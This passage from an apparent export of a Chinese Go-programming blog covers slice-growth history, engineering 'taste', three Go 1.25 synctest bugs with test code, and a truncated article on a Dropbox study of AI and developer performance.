语言发展史上一块极其珍贵的化石。它告诉我们，语言设计中没有完美的“银弹”，只有在无数个约束条件下的、充满智慧的权衡与取舍。\nappend 的“进化论”：从“粗暴”到“平滑”的扩容策略 现在，让我们把目光从“安全(只读slice)”转向“性能”，来挖掘 append 函数背后的扩容秘密。\n我们都知道，当 append 发现底层数组容量不足时，会分配一个更大的新数组，并将旧数据拷贝过去。\n那么，“更大”是多大呢？一个最简单的想法是容量翻倍。这在很多场景下工作的不错，但当切片变得很大时，会造成可观的内存浪费。\nGo 团队是如何选择的呢？通过考古Go团队和社区的历史讨论、CL 347917 的提交记录以及 runtime/slice.go 的源码演进，我们可以清晰地看到一条“进化”的轨迹。\n早期（Go 1.18 之前）的策略：硬阈值下的“突变” 在很长一段时间里，Go 的扩容策略是一个简单明了的分段函数，其分界点设在 1024：\n当切片容量小于 1024 时，直接翻倍 (newCap = oldCap * 2)。 这种策略保证了小切片能够快速成长，减少早期阶段的分配次数。 当切片容量大于等于 1024 时，以 1.25 倍的系数持续增长 (newCap = oldCap * 1.25)。 这种策略旨在当切片变大后，避免因翻倍而导致的巨大内存浪费。 这个策略在大部分情况下都工作的很好，但它有一个“不优美”的地方，正如 CL 347917 的提交日志中所指出的那样——它不是单调的 (monotonic)。这意味着，在阈值附近，一个更大的初始容量，经过一次扩容后，其新容量反而可能小于一个更小的初始容量扩容后的结果。\n更重要的是，在 1024 这个阈值点，增长行为会发生一次**“突变”**。一个容量为 1023 的切片，下次会扩容到 2046；而一个容量为 1024 的切片，下次只会扩容到 1280。这种不连续性，虽然不是 bug，但对于追求优雅和可预测性的 Go 团队来说，显然还有优化的空间。\n现代（Go 1.18 及之后）的策略：平滑过渡的艺术 在 CL 347917 中，Go 团队对这个算法进行了一次精心的“平滑”处理，旨在解决上述问题。新的策略将突变的阈值点从 1024 下调到了 256，并引入了一个全新的、逐渐衰减的增长公式。\n让我们直接来看 Go 1.24 中 runtime/slice.go 里的 nextslicecap 函数核心实现：\n// nextslicecap computes the next appropriate slice length. func nextslicecap(newLen, oldCap int) int { newcap := oldCap doublecap := newcap + newcap if newLen \u0026gt; doublecap { return newLen } const threshold = 256 if oldCap \u0026lt; threshold { return doublecap } for { // Transition from growing 2x for small slices // to growing 1.25x for large slices. This formula // gives a smooth-ish transition between the two. newcap += (newcap + 3*threshold) \u0026gt;\u0026gt; 2 if uint(newcap) \u0026gt;= uint(newLen) { break } } // ... (overflow check) return newcap } 这段代码揭示了现代扩容策略的秘密：\n新阈值：256 * 当旧容量 oldCap 小于 256 时，策略依然是简单高效的**翻倍**。 * CL 347917 的日志解释了为什么选择 256：这是为了在最终扩容到一个非常大的切片时，新旧算法所需的**总重分配次数大致相当**，是一个精心计算的平衡点。 平滑过渡公式：newcap += (newcap + 3*threshold) \u0026raquo; 2 * 当 oldCap 大于等于 256 时，Go 进入一个 for 循环，反复应用这个公式来增加容量，直到新容量 newcap 足够容纳所需的 newLen。 * 这个公式 newcap += (newcap / 4) + (3 * 256 / 4)，可以看作是 newcap *= 1.25 的一个变体，但增加了一个与阈值相关的固定量。它的精妙之处在于，当 newcap 刚刚超过 256 时，增长因子接近 2；而当 newcap 变得非常大时，增长因子则会逐渐趋近于 1.25。 CL 347917 的提交日志中，给出了几个关键点的实际增长因子，让我们能更直观地感受这种“平滑”：\n可以看到，增长因子不再是断崖式地从 2.0 跌到 1.25，而是在 [256, +∞) 这个区间内，像一条平滑的曲线一样逐渐下降。\n最后一道工序：内存对齐 这还没完。runtime 计算出的期望容量 newcap，还必须经过内存分配器的“打磨”。Go 的内存分配器是按一系列的规格 (size classes) 来组织内存的。growslice 函数在最后，会将计算出的 newcap 转换为所需的字节数，并向上取整到最接近的一个 size class。\n这意味着，即使扩容算法算出来需要 130 个字节，内存分配器可能最终会给你一块 144 字节的内存块。这进一步展示了语言特性（切片扩容）与底层 runtime（内存分配）之间的紧密协作。\n综上可以看出：append 的扩容策略，从一个简单的、带有“突变”的分段函数，演进到一个阈值更低、过渡更平滑、数学上更优美的算法，这正是 Go 团队数据驱动、精益求精的工程文化的完美体现。\n这个看似微小的改动，实际上解决了旧算法的“非单调性”问题，并让切片的内存增长行为变得更加平滑和可预测。\n所以，下一次当你的同事随口说出“Go 切片扩容是翻倍”时，你就可以微笑着，把 256、1.25 和那条平滑下降的增长曲线，娓娓道来。而这正是“Go 考古”的魅力所在。技术的每一个细节，都值得我们深入探索。\n小结：从“隐秘角落”看 Go 的设计哲学 今天，我们的“考古”之旅暂告一段落。通过深入 slice 的两个“隐秘角落”，我们挖掘出的不仅仅是技术细节，更是一部关于 Go 语言设计哲学的微缩史。\n在“失落的伊甸园”中，我们看到了一份看似完美的只读切片提案，是如何在 Russ Cox 系统性的、基于原型的评估下，暴露出其可能引发的“API 三倍重复”、“性能隐形退化”和“接口生态分裂”等深层问题。它告诉我们，任何语言特性的价值，都必须在整个生态系统的宏大背景下进行审视。\n在“append 的进化论”里，我们则见证了一场精益求精的工程优化。Go 团队并非满足于一个“够用就好”的分段函数，而是为了解决“非单调性”和“突变”等细微的“不优美”，通过 CL 347917 引入了一个阈值更低 (256)、过渡更平滑的数学公式。这完美地诠释了 Go 语言数据驱动、持续打磨的务实品格。\n这两个故事，一“舍”一“取”，共同描绘出了 Go 设计哲学的核心画像：极度审慎地对待语言复杂性的增加，同时又对核心实现的性能与优雅报以永不满足的追求。\n而这，正是“Go 考古”的魅力所在。技术的每一个细节，都值得我们深入探索。\n参考资料 Read-only slice proposal – https://docs.google.com/document/d/1UKu_do3FRvfeN5Bb1RxLohV-zBOJWTzX0E8ZU1bkqX0/edit?tab=t.0#heading=h.2wzvdd6vdi83 Evaluation of read-only slices – https://docs.google.com/document/d/1-NzIYu0qnnsshMBpMPmuO21qd8unlimHgKjRD9qwp2A/edit?tab=t.0 slices grow at 25% after 1024 but why 1024? – https://groups.google.com/g/golang-nuts/c/UaVlMQ8Nz3o runtime: make slice growth formula a bit smoother (cl347917)- https://go-review.googlesource.com/c/go/+/347917 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/02/go-archaeology-slice/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-archaeology-slice-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/02/go-archaeology-slice\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/02/go-archaeology-slice\"\u003ehttps://tonybai.com/2025/10/02/go-archaeology-slice\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eslice（切片），可以说是 Go 语言中最重要、也最常用的数据结构，没有之一。我们每天都在使用它，尤其是 append 函数，它就像一个魔术师，总能“恰到好处”地为我们管理好底层数组的容量，让我们几乎感受不到内存分配的烦恼。\u003c/p\u003e","title":"Go 考古：Slice 的“隐秘角落”——只读切片与扩容策略的权衡"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/30/good-taste-in-software-engineering\n大家好，我是Tony Bai。\n在软件工程领域，我们习惯于用“技术能力”（Technical Skill）来衡量一位工程师的优劣。他是否精通并发模型？能否写出高性能的代码？对底层原理的理解有多深？这些能力可以通过学习和重复练习来获得，是我们评价体系中的“硬通货”。\n然而，github工程师Sean Goedecke在他最新的博文中，提出了一个新的观点：决定工程师成长上限的是“技术品味”（Technical Taste）。他认为，“品味”与“能力”是两个正交的维度。你可以技术能力很强，但品味很差；也可以技术尚在发展，但已具备良好的品味。就像一个美食家，即使自己不会烹饪，也能分辨出食物的好坏。同样，一个有品味的工程师，在能亲手构建一个复杂系统之前，就已经知道自己喜欢什么样的软件。在文章中，他还特意以Go的一些语法特性举例，来诠释什么是工程品味。\n在这篇文章中，我们将一起拆解“技术品味”这个看似玄妙的概念，学习如何识别自己和他人身上的“坏品味”（比如对“最佳实践”的盲从），并探索一条培养“好品味”的实践路径，帮助我们Go开发者在日常的权衡与决策中，做出更成熟的选择。\n“品味”不是“对错”，而是“价值观”的排序 文章以一个经典的例子开场：for循环 vs. map/filter。\n许多来自函数式编程背景的开发者会认为，使用map/filter的代码“看起来更美”，因为它们通常涉及纯函数，易于推理，还能避免一类的迭代器bug。这似乎是一个关乎“正确”与“错误”的技术问题。\n然而，Go语言的设计者们，出于“有原则的理由”，并没有在语言核心中原生内置map/filter。在Go中，一个简单的for循环：\n性能上更易于推理：没有高阶函数调用的开销。 更灵活：可以轻松扩展到更复杂的迭代策略（如一次处理两个或多个元素）。 这个分歧的本质是什么？Goedecke一针见血地指出：这不是一个关于技术能力高低的争论，而是一个关于“工程价值观”（Engineering Values）优先级排序的差异。\n偏爱map/filter的工程师，可能将**“表达力”和“数学上的优雅”**排在了更高的位置。 偏爱for循环的Go语言设计者们，则将**“性能透明度”和“实现的直接性”**置于首位。 成熟的工程师，能够理解并承认这种差异源于价值观的不同，而非技能的缺失。\n什么是工程中的“好品味”？ 几乎所有软件工程决策都是一次权衡（tradeoff）。\n你很少能在两个选项中找到一个绝对更优的。你总是在不同的工程价值观之间做艰难的取舍，比如在“性能”和“可读性”之间，或者在“开发速度”和“正确性”之间。\n不成熟的工程师会固执己见，认为“X永远比Y好”。而成熟的工程师则会评估双方的优劣，并思考：“在当前这个特定的项目中，X的收益是否大于Y的收益？”\n因此，Goedecke对“技术品味”给出了一个精辟的定义：\nTaste is the ability to adopt the set of engineering values that fit your current project.\n(品味，是为当前项目选择一套恰如其分的工程价值观的能力。)\n你的个人技术偏好，构成了你的基础“品味”。而“好品味”，则是在这个基础上，根据项目所处的真实环境（团队能力、业务阶段、性能要求、交付压力等），灵活调整你的价值观优先级的能力。\n如何识别“坏品味”？—— “最佳实践”的诅咒 “坏品味”最常见的表现形式，就是僵化（inflexibility）。\nI will always distrust engineers who justify decisions by saying “it’s best practice”.\n(我永远不信任那些用“这是最佳实践”来为决策辩护的工程师。)\n没有任何工程决策是在所有情境下的“最佳实践”。\n当你听到有人用这个词时，往往意味着他正在将过去某个项目的成功经验（那套当时恰好适用的价值观），僵化地、不加思考地套用到一个全新的问题上。\n一个在金融科技公司追求“五个九”可用性的工程师，如果将同样的价值观带到一个需要快速迭代验证想法的初创公司，坚持为内部仪表盘构建跨区域部署，那就是“坏品味”。这会让项目变得复杂无比，难以理解，拖慢了产品发布的速度，甚至导致了失去市场的机会。 一个习惯于用Ruby元编程“炫技”的开发者，如果在一个追求长期可维护性的Go项目中，滥用reflect来实现类似的动态能力，那也是“坏品味”。 Goedecke用了一个绝妙的比喻：品味差的工程师就像一块坏掉的指南针。在一块特定的磁场里（比如他之前工作的领域），这块坏指南针可能恰好能指向北方，让他看起来非常高效。但一旦环境变化（换了项目或公司），这块指南针就会立刻将团队引向错误的方向。\n如何培养“好品味”？—— 拥抱灵活性与真实世界 培养技术能力有明确的路径：读书、练习、看代码。而培养“技术品味”则更为神秘。Goedecke给出的建议是：\n涉猎多样化的项目：在不同类型、不同阶段、不同需求的项目中工作。密切关注在这些项目中，哪些部分做起来很“容易”，哪些又异常“艰难”。 聚焦于灵活性：刻意避免形成关于“编写软件的唯一正确方式”的强烈、普适性的观点。始终保持开放，愿意倾听和理解那些与你价值观相悖的观点。 拥抱真实世界的混乱：“好品味”无法在玩具问题或技术问答中得到检验。你必须投身于一个真实的、充满了各种混乱约束的实际问题中，才能锻炼你在多重约束下做出最佳权衡的能力。 小结：从理解“品味”，到成为更好的Gopher 综上所述，Sean Goedecke为我们揭示了一个深刻的层次：“技术品味”是超越“技术能力”的、衡量工程师成熟度的关键标尺。 文章的核心不在于掌握多少工具，而在于面对具体问题时，能否为之匹配一套恰如其分的工程价值观。这正是成熟与僵化、权衡与教条、情境与普适之间的分水岭。一个工程师的成长上限，或许就取决于他/她能否从固守个人偏好，进化到为项目选择最佳价值排序的“好品味”阶段。\n这套关于“品味”的哲学，在Go的语境中显得尤为贴切，甚至可以说，它完美地解释了Go语言及其社区文化的形成。\nGo语言本身，就是其设计者们“好品味”的结晶。他们没有盲目追随当时其他语言的风潮，而是为“构建大型、可维护的网络服务”这一特定问题，选择了一套恰如其分的工程价值观——将简单性、可读性和性能透明度置于极高的优先级。\n这门语言的设计，反过来也在塑造着我们的“品味”。它通过“做减法”，有意地减少了语言的“魔法”，迫使开发者回归到问题的本质，进行更多的第一性原理思考，而不是依赖于复杂的框架或语法糖。在Go社区所推崇的“务实主义”、“显式优于隐式”，以及对“最佳实践”的天然警惕，本质上都是一种对情境化“好品味”的追求。\n只有理解了为什么Go是现在这个样子，我们才能在使用这门语言时，做出同样充满“品味”的、与项目需求相匹配的决策，从而真正发挥出Go语言的全部威力，成为一名真正成熟的软件工程师。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/30/good-taste-in-software-engineering/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/good-taste-in-software-engineering-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/30/good-taste-in-software-engineering\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/30/good-taste-in-software-engineering\"\u003ehttps://tonybai.com/2025/09/30/good-taste-in-software-engineering\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程领域，我们习惯于用“技术能力”（Technical Skill）来衡量一位工程师的优劣。他是否精通并发模型？能否写出高性能的代码？对底层原理的理解有多深？这些能力可以通过学习和重复练习来获得，是我们评价体系中的“硬通货”。\u003c/p\u003e","title":"除了技术能力，什么决定了软件工程师的上限？答案是“品味”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25\n大家好，我是Tony Bai。\nGo 1.25的发布，为我们带来了一个期待已久的“并发测试神器”—— testing/synctest。这个在Go 1.24中作为实验性功能首次亮相的包，承诺将我们从time.Sleep、channel和各种脆弱的同步技巧中解放出来，让我们能够编写出快速、可靠、确定性的并发测试。\n然而，任何强大的新工具在投入真实世界的熔炉后，都必然会经历一场严酷的“成人礼”。Go 1.25发布后，社区的早期使用者们迅速将其应用于各种复杂的并发场景，并遇到了一些隐藏在“气泡”（bubble）之下的微妙问题。\n本文将聚焦于三个典型的、由社区报告的synctest“首日bug” (#75052, #74837, #75134)，它们分别涉及了io.Pipe、context和sync.WaitGroup这三个常用并发原语。需要澄清的是，这些所谓“Bug”并非都是synctest本身的Bug。它们有的源于开发者对并发原语的常见误用，synctest只是更严格地揭示了问题；有的则反映了一个实验性API在社区反馈下的设计演进；当然，其中也包含了一个深藏在运行时中的、真正的实现Bug。\n通过剖析这些案例，我们不仅能学会如何正确、安全地使用synctest，更能一窥这个新范式背后的设计哲学、Go团队的应对智慧以及它如何帮助我们编写更健壮的并发代码。\nBug 1: io.Pipe与context的“谎言”—— Goroutine泄漏之谜 一位开发者在迁移测试到synctest后，遇到了一个神秘的panic：panic: deadlock: main bubble goroutine has exited but blocked goroutines remain。这通常意味着测试中存在goroutine泄漏。\n你可以将以下代码保存为leak_test.go并运行go test来复现这个panic。\n// synctest-bugs/bug1/leak_test.go package main_test import ( \u0026#34;context\u0026#34; \u0026#34;io\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;testing/synctest\u0026#34; ) func TestGoroutineLeakWithPipe(t *testing.T) { synctest.Test(t, func(t *testing.T) { pr, pw := io.Pipe() // 这个后台goroutine在pr上阻塞读取，等待数据或EOF go func() { io.ReadAll(pr) }() ctx, cancel := context.WithCancel(context.Background()) defer cancel() // 主测试goroutine错误地认为cancel()可以结束测试 // 但实际上，后台goroutine仍在pr上阻塞 _ = pw _ = ctx }) // 当synctest.Test返回时，它检测到后台goroutine没有退出， // 于是触发panic，报告goroutine泄漏。 } 在Go 1.25.0下运行上述测试，我们会得到类似下面的panic：\n$go test --- FAIL: TestGoroutineLeakWithPipe (0.00s) panic: deadlock: main bubble goroutine has exited but blocked goroutines remain [recovered, repanicked] ... ... 经过Go团队分析，该问题根源被定位为：被遗忘的Reader：\nio.Pipe的行为: io.PipeReader上的Read会一直阻塞，直到PipeWriter写入了数据，或者PipeWriter被关闭（发送EOF信号）。 context的局限: context.Cancel()的信号无法神奇地中断底层的I/O操作，因为它没有与io.Pipe进行任何形式的集成。 在问题代码中，cancel()被调用，但pw（PipeWriter）从未被关闭。因此，后台的reader goroutine被永远地阻塞了，导致了synctest检测到的泄漏。\n解决方案很简单：在测试结束前，必须显式地关闭PipeWriter。\nfunc TestGoroutineLeakFixed(t *testing.T) { synctest.Test(t, func(t *testing.T) { pr, pw := io.Pipe() defer pw.Close() // \u0026lt;--- 关键修复！ go func() { io.ReadAll(pr) }() // ... }) } pw.Close()会向pr发送一个EOF错误，安全地解除后台goroutine的阻塞。\n为了避免后续发生类似使用问题，Go团队还是在synctest包增加了使用注释，以提醒使用者避免上述问题：\n不过，synctest的严格性是一件好事。它像一个哨兵，将那些在传统测试中可能被掩盖的、潜在的goroutine泄漏问题，以一个明确的panic暴露出来。synctest不仅测试逻辑，还在检验你并发代码的“卫生状况”。\nBug 2: context与“气泡”边界的微妙冲突 另一个issue揭示了synctest与context包之间一个更深层次的交互问题，导致测试在“气泡”退出后神秘地挂起。\n这个问题主要存在于Go 1.24的实验性API synctest.Run中，你可以通过下面的代码在GOEXPERIMENT=synctest下复现该问题：\n// synctest-bugs/bug2/oldapi_test.go package main_test import ( \u0026#34;context\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;testing/synctest\u0026#34; // 假设这是Go 1.24的旧版本 ) // 这个测试在Go 1.24 + synctest.Run下会挂起 func TestContextBoundaryIssue(t *testing.T) { synctest.Run(func() { // 旧API _, cancel := context.WithCancel(t.Context()) defer cancel() }) // t.Cleanup() 中对 t.Context() 的 cancel 操作 // 会在 \u0026#34;气泡\u0026#34; 外关闭一个 \u0026#34;气泡\u0026#34; 内的channel，引发panic和死锁。 } 这个问题的根源是跨“气泡”边界的非法操作：\n在synctest.Run的函数体内，t.Context()返回的context属于**“气泡”内部**。 context.WithCancel为这个“气泡内”的context创建了一个done channel，这个channel也属于“气泡”。 当测试函数返回，testing框架的t.Cleanup在**“气泡”之外**尝试关闭这个done channel。 这个跨边界的非法操作触发了synctest的panic。不幸的是，这个panic发生在context包内部的互斥锁还未释放时，后续的清理操作导致了死锁。 Go 1.25正式版的API synctest.Test(t testing.T, func(t *testing.T) { … })完美地解决了这个问题。它会为“气泡”内部的执行创建一个作用域限定在“气泡”内的新 testing.T，其生命周期与“气泡”完全绑定，从而避免了边界冲突。下面是使用新API后的运行正常的代码：\n// synctest-bugs/bug2/newapi_test.go package main import ( \u0026#34;context\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;testing/synctest\u0026#34; // 这是Go 1.25的新版本 ) func Test(t *testing.T) { synctest.Test(t, func(t *testing.T) { _, cancel := context.WithCancel(t.Context()) defer cancel() }) } 新版API下，synctest的“气泡”是一个严格的隔离边界，它不仅隔离时间和goroutine，还隔离了同步原语的“所有权”。编写synctest测试时，要时刻保持对“气泡”边界的敬畏。\nBug 3: sync.WaitGroup的并发“幽灵” sync.WaitGroup是Go中最基础的并发原语之一，但在synctest中高并发地使用它时，却出现了莫名超时或panic的现象。\nissue提出者给出一个在Go 1.25.0下复现该bug的代码:\n// synctest-bugs/bug3/wg_race_test.go package main_test import ( \u0026#34;context\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;testing\u0026#34; \u0026#34;testing/synctest\u0026#34; ) func TestSyncTest_Wait_Group(t *testing.T) { for range 1000 { doSyncTestWithChanel(t) } } func doSyncTestWithChanel(t *testing.T) { synctest.Test(t, func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) for range 100 { go func() { simpleWait(ctx) }() } synctest.Wait() cancel() }) } func simpleWait(ctx context.Context) { var wg sync.WaitGroup for range 3 { wg.Go(func() { \u0026lt;-ctx.Done() }) } wg.Wait() } 使用Go 1.25.0运行该测试代码，会得到下面panic：\n$ go test -bench . fatal error: sync: WaitGroup.Add called from multiple synctest bubbles ... ... 问题的根源在于一个隐藏在Go运行时内部的细节。在synctest模式下，Go运行时需要追踪每一个sync.WaitGroup实例究竟属于哪个“气泡”。这是通过在WaitGroup首次被使用时，为其分配一个特殊的内部记录来实现的。\n然而，在Go 1.25的早期版本中，这个分配操作没有被正确地加锁。当多个goroutine在高并发下同时初始化新的WaitGroup实例时，它们会并发地读写这个用于分配记录的全局数据结构，从而导致内存损坏或逻辑错乱。\n解决方案非常直接：为这个内部记录的分配过程加上了正确的锁（mheap_.speciallock）。这个修复被迅速合并，并被紧急向后移植（backport）到了Go 1.25的发布分支中。\n由此bug也可以看到，testing/synctest的实现远不止是一个简单的库，它与Go的运行时和调度器进行了深度集成。这种集成赋予了它控制时间的强大能力，但也意味着它可能会暴露或引入极深层次的运行时bug。Go团队对这类问题的快速响应和紧急修复，也体现了他们对这个新API稳定性的高度重视。\n小结：一个正在走向成熟的“并发测试新范式” 这三个“首日bug”的故事，非但没有削弱testing/synctest的价值，反而让我们更加清晰地看到了它的设计哲学和强大之处：\n它是严格的“教官”: 它会无情地暴露你代码中隐藏的goroutine泄漏和同步问题。 它是精密的“仪器”: 它的“气泡”边界需要被精确理解和尊重。 它是运行时的“延伸”: 它的稳定性依赖于与Go运行时的深度协同。 通过社区的积极反馈和Go团队的快速迭代，testing/synctest已经成功地度过了它的“成人礼”。它可能不会让并发测试变得“简单”，因为并发本身从不简单。但正如官方博客所说，它能让你编写出最简单的并发代码，使用最地道的Go和标准库，然后为它们编写出快速、可靠的测试。 这，或许就是它能带给我们的最大价值。\n本文涉及的示例源码可以在这里下载。\n如果你觉得今天的案例分析意犹未尽，渴望系统性地学习synctest的每一个细节，那么我诚挚地邀请你订阅我的微专栏——《征服Go并发测试》。在这三讲内容中，我们将深入剖析 Go 1.25 并发测试“新武器”——testing/synctest，从痛点到官方设计，再到实战案例，手把手教你用“气泡”与“合成时间”驯服并发猛兽，写出闪电般快速、坚如磐石的并发测试！点击此处或扫描下方二维码立即解锁，让你的 Go 并发技能跃迁！\n参考资料 https://github.com/golang/go/issues/75052 https://github.com/golang/go/issues/74837 https://github.com/golang/go/issues/75134 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/synctest-bugs-in-go-1-25-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25\"\u003ehttps://tonybai.com/2025/09/29/synctest-bugs-in-go-1-25\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/15/some-changes-in-go-1-25\"\u003eGo 1.25的发布\u003c/a\u003e，为我们带来了一个期待已久的“并发测试神器”—— \u003ca href=\"https://mp.weixin.qq.com/s/fD8DsApNq5MKswTsFrH2jw\"\u003etesting/synctest\u003c/a\u003e。这个在\u003ca href=\"https://tonybai.com/2025/02/16/some-changes-in-go-1-24/\"\u003eGo 1.24\u003c/a\u003e中作为实验性功能首次亮相的包，承诺将我们从time.Sleep、channel和各种脆弱的同步技巧中解放出来，让我们能够编写出快速、可靠、确定性的并发测试。\u003c/p\u003e","title":"并发测试神器 synctest的“成人礼”：从goroutine泄漏到微妙的竞态，Go团队如何修复三大“首日bug”？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai\n大家好，我是Tony Bai。\nAI 正在以前所未有的速度重塑软件开发领域。从代码生成到信息检索，AI 工具无疑极大地提升了工程师的生产力。一个普遍的假设是，谁能更好地利用 AI，谁就能成为新时代的顶尖人才。然而，Dropbox 最近发布的一项内部研究，却对这个看似理所当然的结论提出了一个深刻的挑战。\n研究发现，虽然 AI 工具（如 ChatGPT 或 Dropbox Dash）确实让所有员工的效率都得到了提升，但它并不是区分最高绩效员工（即那些“卓越”的员工）与普通高绩效员工（“优秀”的员工）的关键因素。当 AI 将“写代码”的效率门槛普遍拉高后，一个更核心的问题浮出水面：在一个 AI 成为标配的时代，顶尖开发者究竟凭借什么脱颖而出？\n本文将和大家一起解读这份研究报告，逐层剖析 AI 带来的生产力悖论，并揭示那些在 AI 时代真正让顶尖开发者与众不同的“剧本”和核心特质。\nAI 生产力悖论：当所有人都开上了“跑车” Dropbox 的研究首先确认了一个事实：AI 是强大的生产力引擎。在其内部，高达 78% 的员工认为 AI 工具提高了他们的工作效率，这一比例比去年大幅跃升了 20 个百分点。高达 96% 的员工每周都会使用 AI 来处理信息查找、头脑风暴、软件开发和草拟信息等任务。\n然而，一个关键的发现随之而来：AI 带来的生产力增益是普惠的。无论是哪个级别、哪个岗位的员工，在使用 AI 后都报告了相似的效率提升。这意味着 AI 就像是给所有赛车手都换上了一辆更快的跑车——赛道上的整体速度都变快了，但车手之间的排名可能并没有因此改变。\n当我们聚焦于那些同时具备高绩效和高敬业度的“卓越员工”（Thriving Employees）时，数据显示，87% 的卓越员工认为 AI 提升了他们的生产力，而其他员工中这个比例是 76%。这个差距是存在的，但并不足以解释他们之间的巨大表现差异。\n这导出了研究的核心问题：如果 AI 只是新的“起跑线”，那么决定胜负的终极因素是什么？\n高绩效开发者的“剧本”：AI 之外的差异化优势 为了回答这个问题，研究团队深入分析了开发者群体的具体数据，包括 PR 提交量、工作习惯的自我报告以及对工作体验的感受。结果清晰地描绘出了一幅“卓越开发者”的画像，他们的成功秘诀远不止于熟练使用 AI。\n数据显示，卓越开发者提交的 PR 数量比同行多 20%。但这并非因为他们打字更快或工作时间更长。更高的产出速度，是他们更优秀的工作系统所带来的自然结果。这个系统由以下几个关键要素构成。\n1. 专注工作的“不公平优势” 69% 的卓越开发者表示，他们有时间进行深度、专注的工作，而这一比例在其他开发者中仅为 51%。这是一个高达 18 个百分点的惊人差距。这表明，顶尖人才的核心能力之一，是主动设计自己的工作日程，以保护最宝贵的认知资源——专注力。\n他们更倾向于：\n批量处理会议，避免日程被零散的会议切割得支离破碎。 在日历上明确“封锁”出大块的“免打扰”时间，用于攻克复杂的技术难题。 刻意安排休息和体育活动，以实现强度与恢复的平衡，保持可持续的高输出。 2. 高质量代码的良性循环 研究揭示了一个关于代码质量的良性循环：\n84% 的卓越开发者认为他们代码库易于理解和修改（vs. 同行的 62%）。 59% 的人认为调试生产环境问题很容易（vs. 同行的 38%）。 77% 的人感觉他们正在开发的产品具有很高的稳定性（vs. 同行的 65%）。 这三个数据点紧密相连。因为拥有更多深度工作时间，他们能够产出更高质量、更易于维护的代码。这使得后续的调试工作变得简单，产品的整体稳定性也更高。而一个更稳定的系统，又反过来减少了救火和紧急修复的需求，从而为他们赢得了更多可以用于深度工作的正向循环时间。\n3. AI：不止是代码生成器，更是认知伙伴 虽然 AI 不是唯一的差异点，但卓越开发者使用 AI 的方式确实更胜一筹。73% 的卓越开发者每天都使用 AI 辅助，而其他开发者为 